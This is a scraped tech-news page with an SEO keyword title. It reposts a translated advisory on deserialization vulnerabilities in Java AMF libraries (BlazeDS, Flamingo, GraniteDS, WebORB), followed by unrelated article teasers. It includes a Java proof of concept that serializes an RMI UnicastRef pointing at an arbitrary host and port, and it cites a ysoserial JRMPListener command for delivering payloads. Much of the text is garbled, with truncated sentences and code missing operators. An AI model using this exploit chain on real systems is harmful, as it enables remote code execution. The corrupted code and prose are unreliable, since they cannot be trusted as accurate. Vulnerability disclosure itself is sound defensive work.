做搞机网站贵州最好的网站建设推广公司哪家好

news/2025/10/1 8:16:30/文章来源:
做搞机网站,贵州最好的网站建设推广公司哪家好,一起做网店普宁池尾,wordpress 导出主题写在前面的话AMF(Action Message Format)是一种二进制序列化格式#xff0c;之前主要是Flash应用程序在使用这种格式。近期#xff0c;Code White发现有多个Java AMF库中存在目前#xff0c;漏洞相关信息已上报至美国CERT(详情请参考美国CERT VU#307983)概述目前#xff0c…写在前面的话AMF(Action Message Format)是一种二进制序列化格式之前主要是Flash应用程序在使用这种格式。近期Code White发现有多个Java AMF库中存在目前漏洞相关信息已上报至美国CERT(详情请参考美国CERT VU#307983)概述目前Code White主要对以下几种热门的Java AMF实现Flex BlazeDS by AdobeFlex BlazeDS by ApacheFlamingo AMF Serializer by Exadel (已停更)GraniteDS (已停更)WebORB for Java by Midnight Coders而这些又存在着下面列出的一个或多个漏洞XML外部实体注入(XXE)任意对象创建及属性设置通过RMI实现Java序列化漏洞影响简而言之任意远程前两个漏洞并不是新漏洞但是目前仍然有很多库存在这样的漏洞。除此之外研究人员也发现了一种能够将这种设计缺陷转换成Java序列化漏洞的方法。我们将会对上述漏洞(除了XXE)进行详细描述如果你想了解关于这个XXE漏洞的详细内容请参考我们之前所发表的一篇文章《CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty》。介绍AMF3(Action Message Format version 3)同样是一种二进制信息编码格式它也是Flash应用在与后台交互时主要使用的一种AMF3对象的新功能可以归结为两种新增加的特性而这两种新特性(dynamic和externalizable)描述了对象是如何进行序列化操作的Dynamic一个声明了动态特性的类实例公共变量成员可以在程序运行时动态添加(或删除)到实例中。Externalizable实现flash.utils.IExternalizable并完全控制其成员序列化的类实例。注具体请参考Adobe官方给出的解释【传送门】。Dynamic特性我们可以拿Dynamic特性与JavaBeans的功能进行对比它允许我们通过类名及属性来创建一个对象。实际上很多JavaBeans实体目前已经实现了这种技术例如java.beans.Introspector、Flamingo、Flex BlazeDS和WebORB等等。但需要注意的是这种功能将会导致一种可利用的漏洞产生。实际上Wouter Coekaerts早在2011年就已经将这种存在于AMF实现中的漏洞曝光了并且还在2016年发布了相应漏洞的利用代码及PoC。Externalizable特性我们可以拿Externalizable特性赖于Java的java.io.Externalizable接口进行对比。实际上很多厂商早就已经将flash.utils.IExternalizable接口的规范进行了调整其实它与Java的java.io.Externalizable区别不大这种特性将允许我们可以高效地对实现了java.io.Externalizable接口的类进行重构。java.io.Externalizable接口定义了两个方法即readExternal(java.io.ObjectInput)和writeExternal(java.io.ObjectInput)而这两个方法将允许java类完全控制序列化以及反序列化操作。这也就意味着在程序的运行过程中不存在默认的序列化反序列化行为以及有效性检测。因此相对于java.io.Serializable来说我们使用java.io.Externalizable来实现序列化反序列化则更加的简单和高效。将EXTERNALIZABLE.READEXTERNAL转换为OBJECTINPUTSTREAM.READOBJECT在OpenJDK 8u121中总共有十五个类实现了java.io.Externalizable接口而其中绝大多数类的任务仅仅是重构一个对象的状态而已。除此之外实际传递给Externalizable.readExternal(java.io.ObjectInput)方法的java.io.ObjectInput实例也并非java.io.ObjectInputStream的实例。在这十五个类中那些与RMI有关的类则吸引了我们的注意。尤其是sun.rmi.server.UnicastRef和sun.rmi.server.UnicastRef2因为他们会通过sun.rmi.transport.LiveRef.read(ObjectInput, boolean)方法来对sun.rmi.transport.LiveRef对象进行重构。除此之外这个方法还会重构一个sun.rmi.transport.tcp.TCPEndpoint对象以及一个本地sun.rmi.transport.LiveRef对象并且在sun.rmi.transport.DGCClient中进行注册。其中DGCClient负责实现客户端的RMI分布式垃圾回收系统。DGCClient的外部接口为“registerRefs”方法当一个LiveRef的远程对象需要进入虚拟机系统时它需要在DGCClient中进行注册。关于DGCClient的更多内容请参考OpenJDK给出的官方文档【传送门】。根据官方文档中的描述LiveRef的注册是由一次远程调用完成的而我们觉得这里将有可能允许我们通过RMI来实现远程代码执行(RCE)在对这次调用进行了追踪分析之后我们发现整个调用过程非常复杂它涉及到Externalizable.readExternal、sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2、ObjectInputStream.readObject以及sun.rmi.transport.StreamRemoteCall.executeCall()等多种对象及方法。接下来让我们来看看如果我们通过一个sun.rmi.server.UnicastRef对象来对一条AMF消息进行反序列化的话会出现什么情况相关代码如下所示(利用了Flex BlazeDS)import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.util.Arrays;import flex.messaging.io.SerializationContext;import flex.messaging.io.amf.ActionContext;import flex.messaging.io.amf.ActionMessage;import flex.messaging.io.amf.AmfMessageDeserializer;import flex.messaging.io.amf.AmfMessageSerializer;import flex.messaging.io.amf.MessageBody;public class Amf3ExternalizableUnicastRef {public static void main(String[] args) throws IOException, ClassNotFoundException {if (args.length  );return;}boolean doDeserialize  false;if (args.length  3) {doDeserialize  true;args  Arrays.copyOfRange(args, 1, args.length);}// generate the UnicastRef objectObject unicastRef  generateUnicastRef(args[0], Integer.parseInt(args[1]));// serialize object to AMF messagebyte[] amf  serialize(unicastRef);// deserialize AMF messageif (doDeserialize) {deserialize(amf);} else {System.out.write(amf);}}public static Object generateUnicastRef(String host, int port) {java.rmi.server.ObjID objId  new java.rmi.server.ObjID();sun.rmi.transport.tcp.TCPEndpoint endpoint  new sun.rmi.transport.tcp.TCPEndpoint(host, port);sun.rmi.transport.LiveRef liveRef  new sun.rmi.transport.LiveRef(objId, endpoint, false);return new sun.rmi.server.UnicastRef(liveRef);}public static byte[] serialize(Object data) throws IOException {MessageBody body  new MessageBody();body.setData(data);ActionMessage message  new ActionMessage();message.addBody(body);ByteArrayOutputStream out  new ByteArrayOutputStream();AmfMessageSerializer serializer  new AmfMessageSerializer();serializer.initialize(SerializationContext.getSerializationContext(), out, null);serializer.writeMessage(message);return out.toByteArray();}public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {ByteArrayInputStream in  new ByteArrayInputStream(amf);AmfMessageDeserializer deserializer  new AmfMessageDeserializer();deserializer.initialize(SerializationContext.getSerializationContext(), in, null);deserializer.readMessage(new ActionMessage(), new ActionContext());}}为了证实代码能够正常运行我们首先设置了一个监听器然后看一看链接是否能够成功建立。此时我们成功地与客户端建立了一条通信连接而且使用的还是Java RMI传输协议。漏洞利用实际上jacob Baines早在2016年就已经将这项技术(反序列化黑名单绕过)公之于众了但是我并不确定当时他是否知道这种技术同样还会将任意的Externalizable.readExternal对象转换为ObjectInputStream.readObject对象。除此之外他当时还介绍了一个可以发送任意Payload的JRMP监听器java -cp ysoserial.jar ysoserial.exploit.JRMPListener ...厂商产品影响情况缓解方案首先使用了Adobe或Apache实现的应用程序应该尽快将Apache更新至最新版本(v4.7.3)。其次Exadel目前已经停止对他的代码库进行维护了所以使用了Flamingo AMF Serializer的用户不会再收到更新推送了。不过目前对于GraniteDS和WebORB还没有合适的解决方案。参考资料http://codewhitesec.blogspot.com/2017/04/amf.htmlhttp://openjdk.java.net/jeps/290http://www.kb.cert.org/vuls/id/279472http://www.adobe.com/go/amfspechttps://cwe.mitre.org/data/definitions/502.htmlhttps://cwe.mitre.org/data/definitions/913.htmlhttps://cwe.mitre.org/data/definitions/611.html其他信息CVE IDCVE-2015-3269、CVE-2016-2340、CVE-2017-5641、CVE-2017-5983、CVE-2017-3199、CVE-2017-3200、CVE-2017-3201、CVE-2017-3202、CVE-2017-3203、CVE-2017-3206、CVE-2017-3207、CVE-2017-3208公开日期2017年4月4日最新更新日期2017年4月4日文档版本73

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/923653.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

冷库 东莞网站建设化妆品品牌策划方案

一、前言:二、什么是跨域问题?三、 为什么会出现跨域问题?四、什么情况下会出现跨域?五、如何解决跨域问题? 5.1 使用CrossOrigin注解5.2 使用WebMvcConfigurer5.3 使用Filter六、代码示例 前端代码:后端后…

详细介绍:Oracle与Kingbase深度兼容体验:从连接配置到性能优化全解析

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

胶州专业建站免费制作论坛网站

synchronized重要!重要!重要!重要的事情说三遍,一定要记下来哦。 Java语言的关键字,当它用来修饰一个方法或者一个代码块的时候,能够保证在同一时刻最多只有一个线程执行该段代码。一、当两个并发线程访问同…

[LeetCode] 1518. Water Bottles

There are numBottles water bottles that are initially full of water. You can exchange numExchange empty water bottles from the market with one full water bottle. The operation of drinking a full water …

2025 年西安品质楼盘住宅推荐排行榜权威发布,精选优质楼盘推荐

近年来,西安房地产市场持续发展,各类楼盘数量不断增多,但市场上楼盘品质参差不齐的问题也逐渐凸显。部分楼盘存在区位优势不明显、交通不便、周边配套不完善等情况,还有一些楼盘在建筑质量、户型设计、社区环境等方…

Python国庆祝福 - 指南

Python国庆祝福 - 指南2025-10-01 08:02 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font…

某商业银行项目管理建设演进报告 - 指南

某商业银行项目管理建设演进报告 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mo…

建设网站的费用明细wordpress与微信连接

人永远是第一位的。 Scrum团队里有一个Scrum master、一个Product owner和若干个Developer。人数大概在10人左右,甚至更少。千万别在Scrum团队再搞什么小组,scrum团队就是最原子的团队了。我见过有些不专业的12人的scrum团队里,还安插了几个…

网站域名在哪买asp网站配置

Electron应用自动更新实现及打包部署全攻略 Electron自动更新原理配置更新服务器打包与发布更新全攻略实战步骤部署与测试部署更新测试更新流程错误处理与调试 高级特性与优化用户体验与反馈安全与隐私保护维护与持续集成性能优化结语 在现代跨平台桌面应用开发领域中&#xff…

怎么在建设厅网站报名wordpress 没有保存

1.DRAM技术简介 DRAM(Dynamic Random Access Memory,动态随机存取存储器)是一种用于计算机和其他电子设备中的主存储器类型,其主要由存储单元阵列构成,而每一个存储单元由一个电容器和一个晶体管组成,如图…

题解:P14073 [GESP202509 五级] 数字选取

题解:P14073 [GESP202509 五级] 数字选取 题目传送门 题意 给定 \(1,2,3,4,\cdots,n\) 一共 \(n\) 个整数,从这些数中选取一些数字,使得选取的整数中任意两个不同的整数均互质。 数据规模与约定 对于所有测试点,保…

电子商务网站建设需求概述成都网站建设138

背景:项目使用mybatis分页插件不生效,以及多租户使用时读取配置异常 分页插件不细述,网上很多方法试了还是不生效,最后修改到当前版本解决,直接上代码 多租户插件使用遇到的问题: 最开始在MyTenantLineH…

检测网站是否为WordPress怎样建移动网站

33、一致性哈希算法分区 一、背景二、介绍三、步骤1、算法构建一致性哈希环2、Redis服务器IP节点映射3、key落到服务器的落键规则 四、优点1、一致性哈希算法的容错性2、一致性哈希算法的扩展性 五、缺点1、一致性哈希算法的数据倾斜问题2、拓展 六、总结 一、背景 一致性哈希…

晋中市两学一做网站服务器如何做网站

继电器是具有隔离功能的自动开关元件,广泛应用于遥控、遥测、通讯、自动控制、机电一体化及电力电了设备中,是最重要的控制元件之一。继电器实际上是用较小的电流去控制较大电流的一种“自动开关”。故在电路中起着自动调节、安全保护、转换电路等作用。…

2025西安新房住宅推荐排行榜发布,房屋品质、周边配套、交通便利性多维度选择指南!

当下西安新房市场呈现出房源丰富但品质参差不齐的态势,购房者在选择时常常面临诸多难题。一方面,市场上既有定位高端的豪宅项目,也有面向刚需群体的普通住宅,各类项目宣传信息繁杂,让购房者难以辨别真伪;另一方面…

猎头公司应坚持的原则有seo网站优化代码

表的优化1.定长与变长分离如 int,char(4),time核心且常用字段,建成定长,放在一张表;而varchar,text,blob这种变长字段适合单放一张表,用主键与核心表关联。2.常用字段和不常用字段要分离3.在 1 对多需要关联统计的字段上&#xff…

建筑设计公司经营范围seo优化专员

以下内容源于网络资源的学习与整理,如有侵权请告知删除。 数据类型的长度(所占的字节数),与机器字长及编译器都有关系。 所以,int、long int、short int等数据类型的长度可能随编译器而异。 几条铁定的原则&#xff08…

怎么在百度上制作自己的网站登封建设局网站

随着技术的进步,越来越多的安装电脑系统的方法,有硬盘方式安装,有一键重装系统软件,有U盘重装系统,有光盘安装方法,那么哪种方式最安全呢?答案肯定是U盘安装电脑系统方式最安全,因为…

做网站找 汇搜网络安阳电话区号

在java线程并发处理中,有一个关键字volatile的使用目前存在很大的混淆,以为使用这个关键字,在进行多线程并发处理的时候就可以万事大吉。Java语言是支持多线程的,为了解决线程并发的问题,在语言内部引入了 同步块 和 v…

怎么做外国网站卖东西如何域名解析网站建设

computed computed 是计算属性,它会根据你所依赖的数据动态显示新的计算结果计算属性将被加入到 Vue 实例中。所有 getter 和 setter 的 this 上下文自动地绑定为 Vue 实例通过计算出来的属性不需要调用直接可以在 DOM 里使用基础例子var vm new Vue({el: #app,dat…